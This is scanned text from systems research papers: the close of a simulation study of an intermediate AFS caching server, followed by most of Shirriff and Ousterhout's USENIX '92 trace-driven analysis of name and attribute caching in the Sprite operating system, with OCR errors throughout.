hot-cache iAFS server. We treat the first half of the simulation period, 58 hours, as the warm-up interval and
gather statistics for various client cache sizes in the last half of the period. The following graph shows the results
of this experiment, superimposed with the graph from the preceding section, where warm-up is not taken into con­
sideration.
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o 20M40M 80M 120M 160M

Client cache size vs. iAFS hit rate

The upper graph shows an improvement in the iAFS server cache hit rate when it is pre-heated in the first 58 hours
of the trace interval. Even here, though, the iAFS hit rate is less than 30% for standard 20M client caches.

Another set of experiments involves clearing the client caches periodically while maintaining accounting
throughout the simulation. This models an environment in which a machine is used sequentially by different peo­
ple. The results are more pessimistic, however, as there would likely be some overlap among the users' data
requests e.g., /bin/csh. Results from these tests are similar to the other warm cache experiments: simulation
predicts an improved hit rate at the iAFS server, but the improvement is not dramatic.

6. Effect on upstream server load
In the previous section, we saw that high request rates appear to coincide with high instantaneous hit rates on the
iAFS server. This suggests that the iAFS server may be effective in moderating the peak traffic presented to the
upstream server(s). To test this hypothesis, we ran a set of simulation experiments with the IFS data to measure
the read request rate seen by upstream servers when an iAFS server is present and when it is absent. Client writes
are always presented to the upstream servers, whether or not an iAFS server is employed. Since the iAFS server
can have no effect on upstream server performance for writes, we ignore them in the next set of experiments and
concentrate on read operations alone.
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Request rate seen by iAFS server (dotted)
and by upstream server (solid)

The graph shows the request rate, in requests per hour, presented to upstream server(s) when the iAFS server is
present (solid line) and when it is absent (dotted line). After an interval during which the iAFS server cache
warms up, the effect is striking: the peak load is reduced from over 2,500 requests per hour to fewer than 1,400
requests per hour.

The Firefly data also shows a correlation between request rates and iAFS server cache hit rates. Our simulations
predict that with those file system traces as well, the iAFS is effective in clipping the peak load presented to the
upstream server(s).
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Request rate seen by iAFS server (dotted)
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The spike occurring late Thursday night is caused by a system task running on a single machine. This task main­
tains a database of cross-references between pieces of software at DEC-SRC, e.g., which components use which
other components. This task accesses a significant portion of the file system. Eliminating this process' activity
from the traces, which accounts for about 3% of the Firefly trace data, makes it easier to see the beneficial effect
of the iAFS on the upstream server.
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As with the IFS traces, the simulation indicates that an iAFS server would·substantially lower the peak request
rates at the principal file servers.

7. Discussion
The simulated hit rates on the iAFS server do not lend much encouragement for its role in enhancing client perfor­
mance. Our simulations indicate that most of the requests presented to an iAFS server must be forwarded to an
upstream server to be satisfied; from a client's perspective, the iAFS can be viewed as a "delay server."

Simulations using the Firefly data show that an iAFS server cache suffers hit rates below 19% when client caches
are 20M or more. Simulations using the IFS trace data also predict iAFS server cache hit rates below 18%. This
is largely due to a low degree of sharing among clients, less than 9% in each set of trace data.

We also simulated several "warm cache" scenarios, in which hit and miss accounting is delayed during a warm­
up period. These warm cache simulations predict some improvement, but not much, for the iAFS hit rate.

Our simulations indicate that an iAFS server does help server performance, by clipping the peak request load
presented by file system clients. We plan further experiments to investigate this and other ways to exploit multi­
level caching in distributed file systems.

8. Future work
Simulation using realistic intermediate server cache sizes is needed to study the potential positive results in server
load reduction. Improved data collection at the IFS Project should allow more complete results. We would like
future data to span a larger interval (perhaps 2-4 weeks), include error return codes, and track file system accesses
from AFS clients that hit the client cache. Directory caching is also of interest.
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Abstract
This paper presents the results of simulating file name and attribute caching on client machines in a distri­

buted file system. The simulation used trace data gathered on a network of about 40 workstations. Caching was
found to be advantageous: a cache on each client containing just 10 directories had a 91% hit rate on name lookups.
Entry-based name caches (holding individual directory entries) had poorer performance for several reasons, result­
ing in a maximum hit rate of about 83%. File attribute caching obtained a 90% hit rate with a cache on each
machine of the attributes for 30 files. The simulations show that maintaining cache consistency between machines
is not a significant problem; only 1 in 400 name component lookups required invalidation of a remotely cached
entry. Process migration to remote machines had little effect on caching. Caching was less successful in heavily
shared and modified directories such as Itrnp, but there weren't enough references to Itrnp overall to affect the
results significantly. We estimate that adding name and attribute caching to the Sprite operating system could
reduce server load by 36% and the number of network packets by 30%.

1. IntrOduction
Operating systems spend much of their time performing path name lookups to convert symbolic path names

to file identifiers. In order to reduce the cost of name lookups, many systems have implemented name caching
schemes. For instance, Leffler et al [LK.M84] measured performance on a single-machine system running 4.2BSD
Unix and found path name translation to be the single most expensive function performed by the kernel, requiring
19% of kernel CPU cycles. When name caching was added to 4.3BSD Unix, it reduced name translation costs by
35%.

Name lookup is an even larger problem in distributed systems, where a client machine may have to contact a
file server across the network to perform the name lookup. Most network file systems cache naming information on
client workstations as well as on servers [HBM89, HKM88, WPE83]. This allows clients to perfonn most name
lookups without contacting the server, which improves the speed of lookups by as much as an order of magnitude.
In addition, client-level name caching reduces the load on the server and the network. If client-level name caches
are combined with caches of file data, they may even allow a client machine to continue operating when the file
server is unavailable [KiS91].

Unfortunately, there has been little data published on the measured performance of name caches in distri­
buted file systems. Floyd et ale [Fl086, FlE89] and Sheltzer et a1. [SLP86] performed trace-driven studies of name
cache performance, and both concluded that relatively small name caches produce relatively high hit ratios. How­
ever, Floyd studied a single time-shared system, and Sheltzer studied a small collection of networked time-shared
machines where many accesses were to local files. Distributed systems with large numbers of diskless workstations
have a number of characteristics that might interfere with name caching:

• In a distributed environment, the name caches on different machines must be kept consistent This will result
in extra network messages and cost that is not needed on a single time-shared system.

• In a distributed environment, the most important overhead is the communication time involved in server
requests; the actual operations on the server often take less time than the basic network communication.
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• Name caching schemes typically require a separate server request for each component that is not in the
client's name cache, and typical path names contain several components. In contrast, a system without name
caching can pass the entire path name to the server in a single operation (i.e. there can never be more than
one server request per lookup). This means that an individual lookup operation could take substantially
longer with a client-level name cache than without one.

• A name cache is usually accompanied by a separate cache of file attributes such as pennissions, file size, etc.
The entries in the attribute cache are typically managed separately from entries in the name cache, resulting
in additional server requests.

• Most implementations of name caching use a whole-directory approach, meaning they cache entire direc­
tories. However, this may not work well with load-sharing techniques where a single user spawns processes
on many machines simultaneously. H those prOCesses work in a single directory then there may be a substan­
tial amount of overhead to keep the cached directory consistent on the multiple machines.

• Highly-shared directories such as the UNIX / tmp directory may also add to the overhead of maintaining
name cache consistency.

Because of these concerns, we performed a trace-driven analysis of name caching in a distributed environ­
menL We collected traces of name and attribute usage in a network of about 35 diskless workstations and 5 file
servers. We then wrote simulators to analyze and compare the effectiveness of several different methods of name
and attribute caching. Our approach differs from previous work primarily in that we use diskless workstations as
the source of trace data and we examine effects such as load-sharing that were not present in previous studies.

Our study confinns previous studies that caching names and attributes is highly effective (see Table 1). We
found that a high hit rate can be obtained with a relatively small cache. For instance, caching 20 whole directories
on each client (about 20 kilobytes of storage) resulted in a 97% hit rate for pathname component lookups. An
entry-based name cache, which caches individual directory entires, had poorer perfonnance, having a hit rate of
81%. The attribute cache had a 91 % hit rate with a cache of the attributes for 40 files on each client.

We found minimal problems with maintaining cache consistency across multiple machines. To our surprise,
we found that process migration does not have a significant effect on name and attribute caching, even though
migrated processes account for an average of 19% of lookups. (Process migration is a mechanism in Sprite used to
move processes to idle machines for parallel execution [00091].) There was almost no difference in cache perfor­
mance between simulations with process migration and without migration. Consistency overhead was small; only a
small amount of network traffic was required to keep the caches consistent across multiple machines, as shown by
the low invalidation rate in Table 1. This is because very few operations required a remotely cached entry to be
invalidated, and most invalidations only invalidated one other machine's copy.

The remainder of the paper is structured as follows: Section 2 describes the trace data we collected. Section
3 presents the results of the cache simulations. Section 4 consists of a discussion of the results and our conclusions.

Cache type Hit rate Remote invalidation rate
Whole-directory name cache

.97 0.0022
(20 directories cached)
Entry-based name cache

.81 0.0004
(40 directory entries cached)
Attribute cache

.91 0.0005
(40 attributes cached)

Table 1: Summary or results. This shows the hit rate and the invalidation rate with client caching of
directories and attributes, for a reasonably sized cache. The hit rate is the fraction of cache accesses
that are found in the cache. The remote invalidation rate is the average number of cache entries on re­
mote machines that must be invalidated, per cache access. We performed eight traces; these results are
averages.

316 USENIX - Winter '92



Shirriff, Ousterhout

2. Collection of data

A Trace-Driven Analysis of Name ••.

2.1. The Sprite system
We performed our name and attribute cache tracing on Sprite, a network-based operating system [OCD88].

Sprite provides a Unix-like environment in a network of about 40 workstations. Files are stored on one of several
file servers and may be cached on the clients, with full consistency maintained among the cached copies. One
important aspect of Sprite with respect to this study is that Sprite encourages sharing, both of files and of proces­
sors. We wished to examine the effect of this sharing on name and attribute caching.

Sprite provides a process migration facility, which allows processes to be moved across the network to idle
machines [00091]. This permits users to take advantage of the processing power of several machines at once.
There are currently two main uses of process migration in Sprite: parallel compilation and large simulations. We
suspected that process migration and name caching were incompatible; contention among shared directories would
cause name caching to perform poorly, we thought. As will be shown in Section 3.6, these concerns were
unfounded.

In order to judge the applicability of our results to other systems, it is important to understand our computa­
tional environment and workload. Our measurements were taken on a Sprite system with about 50 users using Suns
and DECstations. The users were distributed among several different academic research groups and engaged in
various office/engineering tasks. Significant applications included electronic communication, typesetting, editing,
software development and compilation, VLSI circuit design, graphics, and simulations.

2.2. The trace data
We collected eight one-day traces of activity on the Sprite system. These traces consisted of log records of

file system activity, collected on our file servers. More information on the trace data is available in [BHK91].
Table 2 gives an overview of the trace data we used for this study.

There were three types of trace records used in this study. The most important was the lookup record, which
logged a path name lookup. Each lookup record contained the file identifier of each examined component of the
path name. The record also included the client machine requesting the lookup, migration information (if the request
was from a migrated process), the operation responsible for the lookup, and whether or not the lookup succeeded.
The second type of trace record traced opens and closes and was used to keep track of what files were open. The
third type of record traced operations to get and set file attributes (e.g., fstat, fchmod).

Some interesting statistics on the traces are available from Table 2. On average, there were 16 name lookups
per second. The number of name component accesses was a factor of 3.2 higher; this resulted from the multiple
name component accesses required for each name lookup. An average of 19% of the lookups resulted from
migrated processes, although this was much higher in some traces (the last trace had 48% migrated lookups). We
also found that there were very few operations that resulted in modifications of names or attributes.

Table 3 shows statistics about the kernel calls that result in name lookups. Note that open and stat
operations account for most of the lookup operations. This is fortunate since these operations benefit most from
successful name caching. The other operations modify the file system, and thus will likely contact the file server
regardless of the name lookup. Table 3 shows that a significant fraction of path name lookups terminate with an
invalid name (Le., a "file not found" error). (Besides typographical errors, one major source of invalid names is
search paths, which search through multiple directories for commands or include files.) About 14% of the lookup
operations in Table 3 resulted from lookups being repeated on multiple file servers, due to a characteristic of Sprite
file server operations called redirects. Since the file system is partitioned across several file servers, name lookups
occasionally pass from the part of name space stored on one server to another server (usually due to a symbolic
link). In this case, a redirect occurs and the client must submit the remaining part of the lookup to the new server.

We also measured the distribution of directory sizes in order to estimate the storage requirements for the
whole-directory cache. Figure 1 shows the static distribution of directory sizes, obtained from a scan of the file sys­
tem after one trace had completed. The distribution of directory sizes is important in estimating how much memory
is required to cache directories. Since the average directory requires about 1 kilobyte of storage, the memory
requirements for directory caching are quite modest, with a 20 directory cache taking around 20 kilobytes, if it
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Trace 1 2 3 4 5 6 7 8

Date 1/'lA/91 1/25/91 5/10/91 5/11191 5/14191 5/15191 61l6/91 6/27/91
Trace duration (hours) 24 23.8 24 24 24 24 24 24

Different users 44 48 47 33 48 50 46 36
Users of migration 6 6 11 8 7 11 9 9
Lookups 1235794 1466012 998926 838399 1252421 1668730 987767 2256783

Migrated lookups 131262 120022 122528 94210 28968 187599 232488 1081116

Name accesses 4295413 4914596 2638298 2198843 4406272 5753149 2750424 7549488
Modifications 56354 68547 59765 42703 65638 81159 43596 54006

Attribute accesses 5078731 5944852 3148932 2601814 5166216 6726354 3153794 8452390
Modifications 34661 73237 44956 35190 43222 54365 30574 41392

Table 2: Statistics on the trace data collected. "Different users" is the number of different users
who used the system during the trace. "Users of migration" is the number of different users who used
process migration during the trace. "Lookups" is the number of path name lookup operations during
the trace. "Migrated lookups" is the number of these lookups that resulted from migrated processes.
"Name accesses" is the number of name component lookups; this is larger than the number of lookups
because each path name lookup may result in multiple component lookups. "Modifications" is the
number of component lookups that resulted in modification of a name component "Attribute
accesses" is the number of file or directory attributes that were accessed.

Operation Percent of total Percent successful Percent not found

Stat 53.5 ± 8 75 ± 9 9 ± 5
Open 42.0 ± 8 54 ± 12 32 ± 12
Unlink 3.1 ± 0.7 70 ± 3 6 ± 2
SetAttr 0.7 ± 0.8 89 ± 9 3 ± 2
Link 0.4 ± 0.2 89 ± 4 0.2 ± 0.2
Link(2) 0.3 ± 0.08 97 ± 2 0
Rmdir 0.03 ± 0.04 70 ± 30 0.3 ± 0.6
Mkdir 0.02 ± 0.01 63 ± 12 3 ± 8
Totals 100 66 ± 11 19 ± 10

Table 3: Operation breakdown. This table shows the breakdown of name lookup operations and the
results of the operations. The first column of this table lists the system calls that are responsible for
pathname lookups. The "Percent of total" column shows the breakdown of name lookup operations.
The "Percent successful" column shows for each operation type, the percent of lookups that complet­
ed successfully. The "Percent not found" column shows for each operation the percentage of lookups
that failed because one of the path name components did not exist. (There are other sources of failure,
such as lack of proper permissions, which are not shown.) The numbers are given as an average over
the eight traces, followed by the standard deviation. The "SetAttr" row includes functions such as
chmod, utimes, and chown, which change a file's attributes. The "Link" and "Link(2)" rows
count the two separate pathname lookups required for the hard link operation. The "Total" row shows
the percent of all operations that completed successfully and the percent that failed because of a miss­
ing component
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Figure 1: Static size distribution of directories. This graph shows the static distribution of directory
sizes, calculated over all directories in the file system. The directory size is the number of entties in the
directory (excluding u." and u .."). The upper curve shows the cumulative percentage of directories
of each size. The lower curve shows the directory size distribution weighted by the number of entries
in the directory. This shows what cumulative percentage of files and subdirectories are in directories of
the specified size. (For example, the circled points show that about 93% of all directories had fewer
than 25 entries, but these directories held under 50% of all directory entries.) Our measurements also
showed that the average number of entries per directory was 8.9 and the average size of a directory was
1.1 I-Kbyte blocks.

holds average-sized directories. (Admittedly, the cached directories could be much larger than average. However,
an examination of some common directories shows them to be only a few kilobytes.) The size of a directory cache
is noteworthy in comparison to file system data caches in Sprite, which may hold several megabytes of data. Our
measurements correlate well with those in [FlE89], which found a 10 directory cache was equivalent to about 14
kilobytes.

3. Simulations of name and attribute caching

3.1. About the simulator
We constructed a simulator that used the trace data to estimate the effectiveness of various caching schemes

for file names and attributes. The client caches were assumed to have a least-recently-used (LRU) replacement pol­
icy: a cache of n directories holds the n most recently accessed directories. The simulator functioned by taking the
trace data, determining the resulting low-level name operations, and simulating the ~ffects of these operations on
the client caches. Each trace record corresponded to several low-level operations; these operations were: look up a
name in a directory, look up an attribute, modify a name, modify an attribute, remove a name and attribute, create a
name and attribute, and read a directory. Each low-level operation caused an access to some of the cache LRU
lists. When a cache entry was accessed, it was moved to the front of the appropriate machine's LRU list When an
entry was modified, it was invalidated from the caches of all other machines.

We used several techniques to keep the simulation to a reasonable size and run time. The simulator used a
stack-based model [Hi18?] in order to simulate multiple cache sizes in one simulation run. To keep the simulation
state from growing excessively, we pruned the LRU lists at regular intervals. The simulator scanned all the LRU
lists, discarding idle entries. (We defined an entry as idle if it had not been used in the past 10 minutes and it was
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more than 20 entries down on the LRU list.) Measurements on smaller trace files showed that this pruning of LRU
lists had little effect on the simulation results.

3.2. Name caching simulations
We simulated two types of name cache: a whole-directory cache and an entry-based name cache. For the

whole-directory cache, each machine cached a fixed number of directories. The cache used the directory identifier
as a key and returned the entire directory. With an entry-based cache, machines cached individual directory entries
instead of whole directories. That is, the cache used the parent directory identifier and a symbolic component name
as a key and returned the file identifier of the component.

There are several potential advantages of an entry-based cache over a whole-directory cache. One advantage
of the entry-based cache is that cache performance may be better in a'directory with a high update rate (such as
/ tmp). With a whole-directory cache, any change to any entry in the directory will result in the entire directory
being invalidated from the cache on other machines. However, in an entry-based cache, only the modified entry
will be invalidated; all other cached entries will remain valid. Another advantage to an entry-based cache over a
whole-directory cache is that only the directory enuies being used need to be cached. This may result in a higher
hit rate for an entry-based cache than for a similarly sized whole-directory cache.

The entry-based name cache also has several disadvantages compared to the whole-directory cache. A major
disadvantage is that it does not distinguish between cache misses and nonexistent entries. As shown in Table 3, a
significant fraction of lookups try to access a nonexistent file or directory. With the entry-based name cache, when
a path name component is not found in the cache the server must be contacted to determine if the component does
not exist or if it is just not present in the cache. (One could cache invalid names as well as valid names. However,
depending on the reference patterns of invalid names, this might not be effective. It would also add complexity to
maintaining consistency, since an invalid name must be removed from the cache in the event that the corresponding
file is later created.) A second disadvantage of the entry-based cache is that the cache doesn't help the performance
of whole-directory reads. Some operations, such as listing a directory'S contents, require reading the entire direc­
tory. These operations can benefit from a whole-directory cache, but not from an entry-based cache. Finally, an
entry-based cache won't benefit from locality of directory accesses as much as the whole-directory cache will. If
there are many references to different entries in a directory, a entry-based cache will have a miss for each entry.
On the other hand, a whole-directory cache would load the directory once and subsequent references to entries
would be hits.

We assumed that the name and atuibute caches were kept strongly consistent. That is, the caches never were
allowed to contain stale data. We simulated a callback mechanism similar to the one used in Andrew [HKM88l to
maintain consistency. For the callback mechanism, the server keeps a record of what data is cached on each client.
When another client modifies data, it must inform the server, which then calls back all clients with cached copies of
that data. The clients then invalidate their stale data.

Several other cache consistency mechanisms are possible. For instance, consistency can be loosened, allow­
ing clients to have inconsistent cached data. In the Echo system, on the upper levels (close to the root) of the file
system, clients invalidate cached name data after several hours. Until the data is invalidated, clients can access
inconsistent data. As another alternative, some NFS implementations [SGK85] uses a probabilistic scheme, in
which cached names and attributes are considered invalid after a certain length of time. This time varies between 3
and 60 seconds, and is selected based on prior reference patterns of the file.

In our cache simulations, each name component that was found in the client's cache was counted as a cache
hit. If the component was not found, it was counted as a miss. We divided misses into several categories (based on
the categories used in [HeP90]):

• Compulsory misses are misses that would occur in an arbitrarily large cache: the first access to each direc­
tory or entry causes a compulsory miss.

• Capacity misses are name references that are misses due to the size of the cache; they would have been hits in
a suitably large cache.

• Consistency misses consist of names that were in the cache, but had to be invalidated due to modification on
other machines.
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Figure 2: Whole-directory name cache performance. This graph shows the hit rate and capacity
miss rate for accesses to the directory cache. There are separate lines for each of the eight traces. The
X axis shows the number of directories cached on each clienL The Y axis shows the percent of cache
references that were hits or capacity misses. For instance, the circled points show that with 20 cached
directories, the hit rate was about 97% and the capacity miss rate was about 2%. Capacity misses are
misses that occur due to the cache size. There are two other types of misses which aren't graphed:
compulsory misses and consistency misses. Compulsory misses occur the first time a directory is refer­
enced, and cause the directory to be loaded into the cache. Consistency misses result from references
that would have hit in the cache, except the entries were invalidated because they were modified on
another machine. The compulsory miss rate for the different traces was between 0.6% and 0.9%. The
consistency miss rate was between 0% and 0.3%. Note that the compulsory miss rate is constant for all
cache sizes, while the consistency miss rate varies.

• Invalid-file misses are references to nonexistent files or directories. These count as misses in the entry-based
cache, since, as explained above the entry-based cache does not distinguish between entries that are not
cached and entries that don't exisL These references are not necessarily misses in the whole-directory name
cache or attribute cache measurements.

3.3. Whole-directory name cache results
According to the measurements shown in Figure 2, whole-directory name caching is highly effective. A

cache of 10 directories had a hit rate of 91 %. Caching 20 directories increased the hit rate to about 97%. About
0.7% of the misses were compulsory misses, resulting from entries that were never referenced before. We found a
low rate of consistency misses (about 0.2%), which shows that it is very rare to have contention due to
modifications. to a shared directory. We expect this is because users tend to work in different directories, and don't
usually modify shared directories (with a few exceptions, such as /tmp, described in Section 3.8).

One question we had was how the component hit rate compared to the. hit rate for entire paths. (An entire
path is counted as a hit if every component in the path is in the cache.) If cache misses were uniformly distributed,
the hit rate for entire paths would be much lower than the component hit rate, since an n-component path would
have a hit rate equal to the component hit rate raised to the nth power. However, Figure 3 shows that the hit rate for
entire paths is higher than would be predicted from the component hit rate, and fu fact is close to the component hit
rate. One explanation is that the component hit rate is significantly higher for short paths than for long paths. This
biases the entire path hit rate to be better than would be expected, since long path names are more likely to have
multiple component misses that only account for a single path miss.
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Figure 3: Entire path hit rate. This graph shows the measured name component hit rate, the meas­
ured entire path hit rate, and the entire path hit rate predicted from the component hit rate. The entire
path hit rate is the fraction of paths that have every path component in the cache. The predicted hit rate
is derived from the assumption that the component misses are uniformly distributed. This graph shows
that the entire path hit rate was significantly better than predicted, especially for small cache sizes. For
instance, the circled points show that for a 10 element cache, the hit rate for each component was 91%.
Assuming this hit rate applies equally to all components, the average path would have a 75% chance of
being entirely in the cache. However, the average path actually had 82% chance of being entirely in
the cache. This graph shows averages over all eight traces.
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Our name cache performance results are close to those of other papers, even though our computing environ­
ment is different. For instance, Floyd et al. [FlE89] found an 85% hit rate with a 10 directory cache, and a 95% hit
rate on a 30 directory cache. These hit rates are close to ours, even though their measurements were on a single,
multi-user machine. Shelazer et a1. [SLP86] found a IS-directory cache reduced the whole-path miss ratio from
71% to 11%. (Even without caching, many of the path name lookups could be completed locally because each
machine in the IS-site VAX network stored part of the file system.) The hit ratio with 40 cached directories ranged
from 87% to 96%.

3.4. Entry-based name cache results
The second type of cache we simulated was an entry-based name cache, which caches individual directory

entries as opposed to whole directories. Cache results for the entry-based name cache are given in Figure 4. Note
that the entry-based cache has poorer performance than the whole-directory cache. One reason is that each item in
the whole-directory cache corresponds to several directory entries in the entry-based cache. (Figure I shows about
8.9 entries per directory.) However, even after scaling the cache sizes by this value, the entry-based name cache
still has poorer performance than the whole-directory cache. There are several reasons for this. The entry-based
cache has a much higher compulsory miss rate, because each referenced entry in a directory requires a separate
cache miss to be loaded into the cache. On the other hand, the first whole-directory cache miss loads the entire
directory into the cache. There appears to be substantial locality of access within a directory, so the whole­
directory approach provides a significant performance advantage.

A second reason for the poorer performance of the entry-based cache is that it can't handle invalid names,
since the entry-based cache can't distinguish between a name that isn't in the cache and a name that doesn't exist in
the file system. These references are described in Figure 4 as uinvalid-file misses".
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Figure 4: Entry-based name cache performance. This shows the hit rate for accesses to the com­
ponent name cache, where the directory holds individual components. This graph has a separate line
for each of the eight traces. A reference to a nonexistent path name component is called an invalid-file
miss; this reference will result in a miss in the entry cache. The compulsory miss rate was 7.6% ±2%;
the invalid-file miss rate was 6.3% ± 3%; the consistency miss rate was negligible. Note that the com­
pulsory and invalid-file miss rates do not depend on the cache size.

The entry-based name cache has another disadvantage besides its lower hit rate: read operations on direc­
tories can be satisfied by the whole-directory cache. (The contents of a directory are directly read by commands
such as ls.) We measured the rate of these operations and found that read operations on directories are very com­
mon. On average, directories are opened for reading about 3000 times per hour. If the whole-directory cache stores
the directory data in a suitable format (by storing the raw directory data, as opposed to a hash table of the entries,
for instance), the whole-directory cache can provide the data for these read requests. Since an entry-based cache
only holds parts of a directory, it can't satisfy directory reads.

3.5. Attribute cache results
We simulated an entry-based attribute cache, in which each client caches the attributes for a number of files.

The entry-based attribute cache used the file (or directory) identifier as the key and returned the attributes (such as
permissions, owner, size, and modify time). Table 4 provides a summary of the measurements of operations using
and modifying attributes.

One problem with caching Unix-style attributes is that they include the access time attribute, indicating the
last time the file was accessed; and the modify time attribute, indicating the last time the file was modified. For an
open file, these attributes may change with each access to the file. Because of this, remote caching of Unix-style
attributes will be expensive on files that are open on other workstations. Each read of the file will change the access
time of the file. Each write to the file will change the access and modify times, as well as, usually, the size. To
cache these attributes correctly would require the cached attributes to be updated on every read and write operation.
Because of the high consistency cost this would entail, we assumed in this study that attributes of open files were
not cached on remote machines. (This could be done by invalidating cached attributes for a file if the file is opened .
or by not guaranteeing consistency while the file is open.) We also assumed that the access time attribute was not
used (that is, we didn't invalidate cached attributes each time another machine accessed the file). Another possibil­
ity for maintaining consistency of attributes, used in Andrew, is to propagate a file's attributes only when the file is
closed. Under this model, consistency is loosened, since other remote machines may have the old attributes cached
while the file is open and the attributes are changing. In any case, Table 4 shows that accesses to the attributes of
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Category Average Number
Stat 710000
SetAttr 9900
Fstat 79000
FsetAttr 1700
Permission accesses 4300000
Slats of read-open files 1500
Slats of write-open files 2700

Table 4: Operations affecting attributes. This table gives the number of operations per tracet aver­
aged over the eight traces. "Stattt counts the number of stat operationst which obtain file attributes
from a pathname. The label "SetAttrtt combines operations such as chown and chmod that set file
attributes given a path. "Fstattt counts fstat operations, which obtain file attributes using a token
for an open file rather than a textual path name. "FsetAttrtt combines operations such as f chown
and fchmod that set file attributes of an open file. "Permission accessestt is the number of path
name component lookups that required examining a file or directory's permission attributes. "Stats of
read-open files" indicates the number of attribute accesses that were performed on a file while some
process had the file open for reading. "Stats of write-open filestt indicates the number of attribute
accesses that were performed on a file while it was open for writing.
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Figure 5: Attribute cache performance. This shows the hit rate for accesses to the attribute cache.
The X axis shows the size of the cache in entries. The Y axis shows the percent of accesses that result­
ed in cache hits or capacity misses. For instancet the circled points show that with 20 cached attributes,
the hit rate was about 88% and the capacity miss rate was about 5%. Accesses are divided up as hits,
capacity misses, consistency misses, and compulsory misses. The compulsory miss rate was 6.2% ±
1.8%. Consistency misses were under 0.07%.
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Figure 6: Whole-directory name cache performance for migrated processes. This graph shows
the performance of name cache references for migrated processes (i.e. processes executed on a remote
machine). This graph is analogous to Figure 2, but restricted to lookups from migrated processes. To
generate this graph, the simulator used all name cache references, but only references from migrated
processes are graphed. The compulsory miss rate was 0.7% ±0.2%; the consistency miss rate was 0%
to 0.2%.
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an open file are very rare.
The results for attribute caches are generally similar to those for the name caches. Figure 5 shows the perfor­

mance of the attribute caches. A cache of just 10 attributes had an average 76% hit rate, while a cache of 20 attri­
butes raised the hit rate to 88%. The attribute cache had a relatively high compulsory miss rate of about 6%, since
there are many distinct attributes used, and a miss is necessary to load each attribute into the cache. There were
almost no consistency misses in the attribute caches.

It is not surprising that the attribute cache performance is similar to the name cache performance considering
the close relationship between the name cache and the attribute cache: each name lookup requires an access of the
corresponding attributes to check permissions, and most attribute operations require a name lookup to determine the
file. However, since the attribute cache miss rates are much higher than the whole-directory name cache miss rates,
the attribute cache may be the limiting factor in overall performance of the name and attribute caches.

3.6. The effects of process migration
Because we think some form of load sharing is likely to be an important part of distributed operating systems,

we were concerned about the effects of process migration on client name caching. Since Table 2 shows that
migrated processes accounted for an average of 19% of name lookups, these processes could have a significant
effect on overall cache results. We had several reasons to suspect that name caching might perform poorly in the
presence of process migration. A typical application of process migration, such as parallel compilation, involves
several processes sharing a small collection of files and directories and modifying files in a shared directory. This
group of migrated processes is likely to have good name and file reference locality. Migrating the processes to
multiple machines eliminates the benefits of this locality. Also, since these processes may be modifying shared
directories, we expected heavy consistency traffic for the shared directories.

To determine the effect of process migration on cache behavior, we made two kinds of measurements. First,
we ran simulations in which we attempted to eliminate the effects of process migration. Second, we examined
migrated processes separately to see if they had different characteristics from ordinary processes.
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Figure 7: Attribute cache performance for migrated processes. This graph shows the performance
of attribute cache references due to migrated processes. This graph is analogous to Figure 5, but res­
bicted to migrated processes. The compulsory miss rate was 6.1 ± 2%. The consistency miss rate was
under 0.08%.
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We estimated the effects of eliminating process migration by treating all name and attribute requests as if
they came from the home machine (the source of the migrated process) instead of the migrated machine (the
maChine on which the migrated processes were actually running). The results of these simulations were almost
indistinguishable from the results with process migrntion (Figures 2,4, and 5), so the results are not graphed. We
found that if migrated processes ran on the home machine, the overall hit rate would be about 0.2% higher, and the
capacity and consistency miss rate would be lower. Thus, process migration makes name cache performance
worse, but the difference is very slight Process migration had a similar effect on attribute cache performance.

For a closer look at process migration we examined migrated processes alone. Figure 6 shows the whole­
directory name cache performance, considering only references from migrated processes, and Figure 7 shows the
attribute cache performance. In these measurements, the name cache simulation used all the name requests to
update the cache, but only the lookups from migrated processes were used to compute the hit and miss rates. Com­
paring these graphs to Figure 2 and Figure 5 shows that the behavior of migrated processes is very similar to that of
regular processes.

3.7. The costs of cache consistency
An important aspect of distributed caching is the amount of overhead required to maintain consistency of the

caches. Using a callback scheme, when a client modifies cached data, the server must call back all other clients
with a cached copy so the clients can invalidate the stale data. We refer to these server callbacks as remote invali­
dations. Figure 8 show the average number of remote invalidations per cache access, for a whole-directory cache,
entry-based directory cache, and attribute cache. Note that the invalidation rate was very low. For an average 20
entry whole-directory cache, there are about 2 invalidations of a remote machine per thousand cache accesses. For
an average 40 entry entry-based directory cache, the rate is much lower: 0.3 remote invalidations per thousand
accesses. This is not surprising, since individual directory entries are not modified very often, and it is even rarer
for these entries to be shared by multiple machines. For attributes, an average 40 entry cache had 0.9 remote invali­
dations per thousand accesses. Since these invalidation rates are all very low, the cost of remote invalidations will
probably not be an important consideration in cache design.

We looked at the effect ofprocess migration on the remote invalidation rates by treatmg all requests as if they
came from the home machine instead of the migrated machine. As expected, we found that fewer remote
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Figure 8: Number of remote invalidations per reference vs. cache size. These graphs show how
cache size influences the number of invalidations required. The upper left graph shows results for the
whole-directory name cache, the upper right graph shows the entry-based name cache, and the lower
graph shows the attribute cache. These graphs have a separate line for each trace. For instance, the
circled point shows that in one trace, a 20 element name cache required 2 invalidations of remotely
cached directories per thousand cache references.

Cache type
Number of invalidations

0 1 ~

Whole-directory name cache 88%±5% 9%±3% 2%±2%
Entry-based name cache 92%±6% 7%±5% 0.5%±.4%
Attribute cache 84%±3% 16%±3% O.4%±O.1%

Table S: Number of invalidations. This graph shows how many remote machines were invalidated
when names or attributes were modified. This table shows that usually only the local copy was updat­
ed. For a minority of modifications, a remotely cached copy had to be invalidated. It was rare for a
modification to require invalidation of more than one remotely cached copy. Averages and standard
deviations are over the eight traces.
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Fraction of name accesses to / tmp 0.6% ± 0.5%
Name cache
Hit rate 87% ± 4%
Compulsory miss rate 0.2% ± 0.1%
Capacity miss rate 3.4% ± 1.5%
Consistency miss rate 9.7% ± 3.6%
Entry-based name cache
Hit rate 32% ± 8%
Compulsory miss rate 25% ± 7%
Invalid miss rate 24% ± 12%
Capacity miss rate 18% ± 25%
Consistency miss rate 0%
Attribute cache
Hit rate 83% ± 4%
Compulsory miss rate 14% ± 3%
Capacity miss rate 3.4% ± 1.3%
Consistency miss rate 0%

Shirriff, Ousterhout

Table 6: Statistics on / tmp accesses. The hit and miss rates are all given for a cache of 20 entries.
The name cache results are for the /tmp directory. The entry-based name cache and attribute cache
results are for entries in the / tmp directory. Measurements of / tmp were recorded for the first six
traces; the figures presented are the average and standard deviation across these traces.

invalidations are required if we eliminate process migration in this way. We found that for a 20 element name
cache, the number of remote invalidations would be about 40% lower. For a 40 element attribute cache, the
number of remote invalidations would be an average of 17% lower without migration.

One other aspect of consistency overhead that we examined was how many remote machines were invali­
